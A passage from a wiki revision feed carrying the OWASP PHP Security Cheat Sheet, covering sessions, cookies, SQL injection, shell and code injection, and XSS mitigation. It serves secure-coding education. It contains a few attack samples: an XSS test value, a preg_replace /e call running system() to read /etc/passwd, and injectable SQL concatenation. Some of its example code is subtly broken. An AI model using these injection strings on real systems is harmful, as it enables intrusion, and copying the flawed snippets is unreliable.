You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165054</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165054"/>
				<updated>2013-12-21T20:00:42Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: Warning about file uploads.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP status on the web==&lt;br /&gt;
PHP is the most commonly used server-side programming language and 72% of web servers deploy PHP. PHP is open source. The core of PHP is reasonably secure, but its plugins, libraries and third party tools are often insecure. Also no default security mechanism is included in PHP (there were some in the old days, but they usually broke things). &lt;br /&gt;
&lt;br /&gt;
PHP developers are usually better informed than ASPX or JSP developers on how the web and HTTP works, and that makes for better coding practices, but they both lack basic security knowledge. Other languages have built-in security mechanisms, which is why PHP websites often have more flawed. &lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
        if (!in_array($Needle,$Haystack))&lt;br /&gt;
                return reset($Haystack); //first element&lt;br /&gt;
        return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
 	return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
 	echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., you have to use a '''Secure Encoding''' library, but cannot trust the user. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
